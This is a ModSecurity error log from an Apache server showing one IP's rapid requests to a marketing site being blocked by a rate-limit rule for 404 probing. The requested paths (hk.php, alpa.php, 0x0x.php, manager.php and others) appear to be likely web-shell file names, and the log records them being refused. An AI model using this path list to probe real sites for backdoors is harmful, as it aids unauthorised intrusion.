[Thu Jan 29 08:02:03.154426 2026] [:error] [pid 19071:tid 19136] [client 20.219.59.84:47662] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aXqje5fa8Ix5wWmtmJzD7gAAAIM"]
[Thu Jan 29 08:02:03.831878 2026] [:error] [pid 20580:tid 20681] [client 20.219.59.84:51586] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aXqje5CZ5HHdXPmeL59p5AAAAo0"]
[Thu Jan 29 08:02:04.131561 2026] [:error] [pid 19071:tid 19153] [client 20.219.59.84:51607] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aXqjfJfa8Ix5wWmtmJzD7wAAAJQ"]
[Thu Jan 29 08:02:04.619172 2026] [:error] [pid 20486:tid 20490] [client 20.219.59.84:51591] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aXqjfHgqSZb6GBx5nnMV7wAAAQE"]
[Thu Jan 29 08:02:05.300242 2026] [:error] [pid 20576:tid 20595] [client 20.219.59.84:16933] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aXqjfSrDZws_FlQGi9fmfAAAAck"]
[Thu Jan 29 08:02:05.774414 2026] [:error] [pid 20576:tid 20591] [client 20.219.59.84:47621] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aXqjfSrDZws_FlQGi9fmfQAAAcU"]
[Thu Jan 29 08:02:06.334164 2026] [:error] [pid 20519:tid 20558] [client 20.219.59.84:16947] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file13.php"] [unique_id "aXqjfgo4s4fyROrkyRlYagAAAYo"]
[Thu Jan 29 08:02:07.158999 2026] [:error] [pid 19069:tid 19087] [client 20.219.59.84:47656] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aXqjf_DHsRM4BJ9a4Qt5MAAAAAk"]
[Thu Jan 29 08:02:07.565702 2026] [:error] [pid 20580:tid 20678] [client 20.219.59.84:51619] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aXqjf5CZ5HHdXPmeL59p5QAAAoo"]
[Thu Jan 29 08:02:07.919606 2026] [:error] [pid 20519:tid 20565] [client 20.219.59.84:51622] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aXqjfwo4s4fyROrkyRlYawAAAZE"]
[Thu Jan 29 08:02:08.274704 2026] [:error] [pid 19069:tid 19080] [client 20.219.59.84:16954] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aXqjgPDHsRM4BJ9a4Qt5MgAAAAI"]
[Thu Jan 29 08:02:08.563396 2026] [:error] [pid 20519:tid 20568] [client 20.219.59.84:16945] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3406.php"] [unique_id "aXqjgAo4s4fyROrkyRlYbQAAAZQ"]
[Thu Jan 29 08:02:08.968975 2026] [:error] [pid 20579:tid 20664] [client 20.219.59.84:47633] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3406.php"] [unique_id "aXqjgDVXNopcNyjJc9WDigAAAlY"]
[Thu Jan 29 08:02:09.321826 2026] [:error] [pid 20519:tid 20564] [client 20.219.59.84:16925] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3406.php"] [unique_id "aXqjgQo4s4fyROrkyRlYbgAAAZA"]
[Thu Jan 29 08:02:09.702166 2026] [:error] [pid 19071:tid 19140] [client 20.219.59.84:51584] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3406.php"] [unique_id "aXqjgZfa8Ix5wWmtmJzD8wAAAIc"]
[Thu Jan 29 08:02:09.979958 2026] [:error] [pid 20519:tid 20572] [client 20.219.59.84:47628] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/963e.php"] [unique_id "aXqjgQo4s4fyROrkyRlYbwAAAZg"]
[Thu Jan 29 08:02:10.384651 2026] [:error] [pid 19071:tid 19141] [client 20.219.59.84:51616] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/963e.php"] [unique_id "aXqjgpfa8Ix5wWmtmJzD9AAAAIg"]
[Thu Jan 29 08:02:11.031768 2026] [:error] [pid 20579:tid 20654] [client 20.219.59.84:47648] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/963e.php"] [unique_id "aXqjgzVXNopcNyjJc9WDlgAAAk0"]
[Thu Jan 29 08:02:11.612808 2026] [:error] [pid 19070:tid 19109] [client 20.219.59.84:51626] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/963e.php"] [unique_id "aXqjg7ou83lIon_aKgY3MQAAAEM"]
[Thu Jan 29 08:02:12.014846 2026] [:error] [pid 20580:tid 20679] [client 20.219.59.84:47626] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aXqjhJCZ5HHdXPmeL59p5wAAAos"]
[Thu Jan 29 08:02:12.474500 2026] [:error] [pid 20578:tid 20630] [client 20.219.59.84:16958] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aXqjhA6UX7yOMwQFiyecJQAAAhE"]
[Thu Jan 29 08:02:12.793709 2026] [:error] [pid 20579:tid 20650] [client 20.219.59.84:51587] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aXqjhDVXNopcNyjJc9WDmQAAAkk"]
[Thu Jan 29 08:02:13.377844 2026] [:error] [pid 19069:tid 19098] [client 20.219.59.84:16897] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aXqjhfDHsRM4BJ9a4Qt5QQAAABQ"]
[Thu Jan 29 08:02:13.707178 2026] [:error] [pid 20519:tid 20551] [client 20.219.59.84:51600] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjfuns.php"] [unique_id "aXqjhQo4s4fyROrkyRlYcgAAAYM"]
[Thu Jan 29 08:02:14.057100 2026] [:error] [pid 20580:tid 20671] [client 20.219.59.84:47676] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjfuns.php"] [unique_id "aXqjhpCZ5HHdXPmeL59p6wAAAoM"]
[Thu Jan 29 08:02:14.346610 2026] [:error] [pid 19069:tid 19091] [client 20.219.59.84:47639] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjfuns.php"] [unique_id "aXqjhvDHsRM4BJ9a4Qt5RAAAAA0"]
[Thu Jan 29 08:02:14.665444 2026] [:error] [pid 20578:tid 20619] [client 20.219.59.84:51598] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cjfuns.php"] [unique_id "aXqjhg6UX7yOMwQFiyecJgAAAgY"]
[Thu Jan 29 08:02:14.999520 2026] [:error] [pid 20580:tid 20690] [client 20.219.59.84:51628] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akk.php"] [unique_id "aXqjhpCZ5HHdXPmeL59p7gAAApY"]
[Thu Jan 29 08:02:15.346728 2026] [:error] [pid 20580:tid 20687] [client 20.219.59.84:47641] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akk.php"] [unique_id "aXqjh5CZ5HHdXPmeL59p7wAAApM"]
[Thu Jan 29 08:02:15.726793 2026] [:error] [pid 20576:tid 20602] [client 20.219.59.84:47629] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akk.php"] [unique_id "aXqjhyrDZws_FlQGi9fmkAAAAdA"]
[Thu Jan 29 08:02:16.310412 2026] [:error] [pid 19071:tid 19147] [client 20.219.59.84:16904] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akk.php"] [unique_id "aXqjiJfa8Ix5wWmtmJzD_QAAAI4"]
[Thu Jan 29 08:02:16.783699 2026] [:error] [pid 19177:tid 19197] [client 20.219.59.84:16903] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aXqjiHipGz0PT8TrQv4HVwAAANI"]
[Thu Jan 29 08:02:17.159408 2026] [:error] [pid 20579:tid 20654] [client 20.219.59.84:16956] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aXqjiTVXNopcNyjJc9WDoQAAAk0"]
[Thu Jan 29 08:02:17.435305 2026] [:error] [pid 20580:tid 20688] [client 20.219.59.84:16912] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aXqjiZCZ5HHdXPmeL59p9gAAApQ"]
[Thu Jan 29 08:02:17.739418 2026] [:error] [pid 19069:tid 19085] [client 20.219.59.84:51642] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aXqjifDHsRM4BJ9a4Qt5TQAAAAc"]
[Thu Jan 29 08:02:18.144313 2026] [:error] [pid 20576:tid 20610] [client 20.219.59.84:51617] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aXqjiirDZws_FlQGi9fmlwAAAdg"]
[Thu Jan 29 08:02:18.639716 2026] [:error] [pid 20519:tid 20565] [client 20.219.59.84:16951] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aXqjigo4s4fyROrkyRlYeQAAAZE"]
[Thu Jan 29 08:02:18.957883 2026] [:error] [pid 20578:tid 20621] [client 20.219.59.84:16959] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aXqjig6UX7yOMwQFiyecKAAAAgg"]
[Thu Jan 29 08:02:19.239854 2026] [:error] [pid 20579:tid 20653] [client 20.219.59.84:47622] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rrr.php"] [unique_id "aXqjizVXNopcNyjJc9WDowAAAkw"]
[Thu Jan 29 08:02:19.801009 2026] [:error] [pid 20580:tid 20690] [client 20.219.59.84:51597] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aXqji5CZ5HHdXPmeL59p_AAAApY"]
[Thu Jan 29 08:02:20.156223 2026] [:error] [pid 19070:tid 19124] [client 20.219.59.84:51633] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aXqjjLou83lIon_aKgY3NgAAAFI"]
[Thu Jan 29 08:02:20.653586 2026] [:error] [pid 20580:tid 20692] [client 20.219.59.84:16899] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aXqjjJCZ5HHdXPmeL59p_QAAApg"]
[Thu Jan 29 08:02:20.997747 2026] [:error] [pid 19069:tid 19098] [client 20.219.59.84:47647] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "aXqjjPDHsRM4BJ9a4Qt5UgAAABQ"]
[Thu Jan 29 08:02:21.320013 2026] [:error] [pid 19069:tid 19090] [client 20.219.59.84:47624] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aXqjjfDHsRM4BJ9a4Qt5VAAAAAw"]
[Thu Jan 29 08:02:21.700007 2026] [:error] [pid 19177:tid 19179] [client 20.219.59.84:47652] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aXqjjXipGz0PT8TrQv4HWgAAAMA"]
[Thu Jan 29 08:02:22.149419 2026] [:error] [pid 20578:tid 20620] [client 20.219.59.84:19524] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aXqjjg6UX7yOMwQFiyecLAAAAgc"]
[Thu Jan 29 08:02:22.605171 2026] [:error] [pid 19071:tid 19136] [client 20.219.59.84:47616] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x0x.php"] [unique_id "aXqjjpfa8Ix5wWmtmJzEBAAAAIM"]
[Thu Jan 29 08:02:22.888643 2026] [:error] [pid 20519:tid 20550] [client 20.219.59.84:16920] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aXqjjgo4s4fyROrkyRlYfAAAAYI"]
[Thu Jan 29 08:02:23.164874 2026] [:error] [pid 20580:tid 20684] [client 20.219.59.84:47674] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aXqjj5CZ5HHdXPmeL59p_wAAApA"]
[Thu Jan 29 08:02:23.579298 2026] [:error] [pid 20579:tid 20647] [client 20.219.59.84:47667] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aXqjjzVXNopcNyjJc9WDqAAAAkY"]
[Thu Jan 29 08:02:23.880136 2026] [:error] [pid 20580:tid 20678] [client 20.219.59.84:47653] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aXqjj5CZ5HHdXPmeL59qAQAAAoo"]
[Thu Jan 29 08:02:24.168747 2026] [:error] [pid 20580:tid 20674] [client 20.219.59.84:16940] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aXqjkJCZ5HHdXPmeL59qAgAAAoY"]
[Thu Jan 29 08:02:24.529626 2026] [:error] [pid 20519:tid 20555] [client 20.219.59.84:47620] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aXqjkAo4s4fyROrkyRlYfQAAAYc"]
[Thu Jan 29 08:02:24.920236 2026] [:error] [pid 20486:tid 20503] [client 20.219.59.84:46303] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aXqjkHgqSZb6GBx5nnMWCwAAAQ4"]
[Thu Jan 29 08:02:25.225162 2026] [:error] [pid 19071:tid 19139] [client 20.219.59.84:47643] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aXqjkZfa8Ix5wWmtmJzECgAAAIY"]
[Thu Jan 29 08:02:25.578208 2026] [:error] [pid 20576:tid 20596] [client 20.219.59.84:51623] [client 20.219.59.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aXqjkSrDZws_FlQGi9fmoAAAAco"]
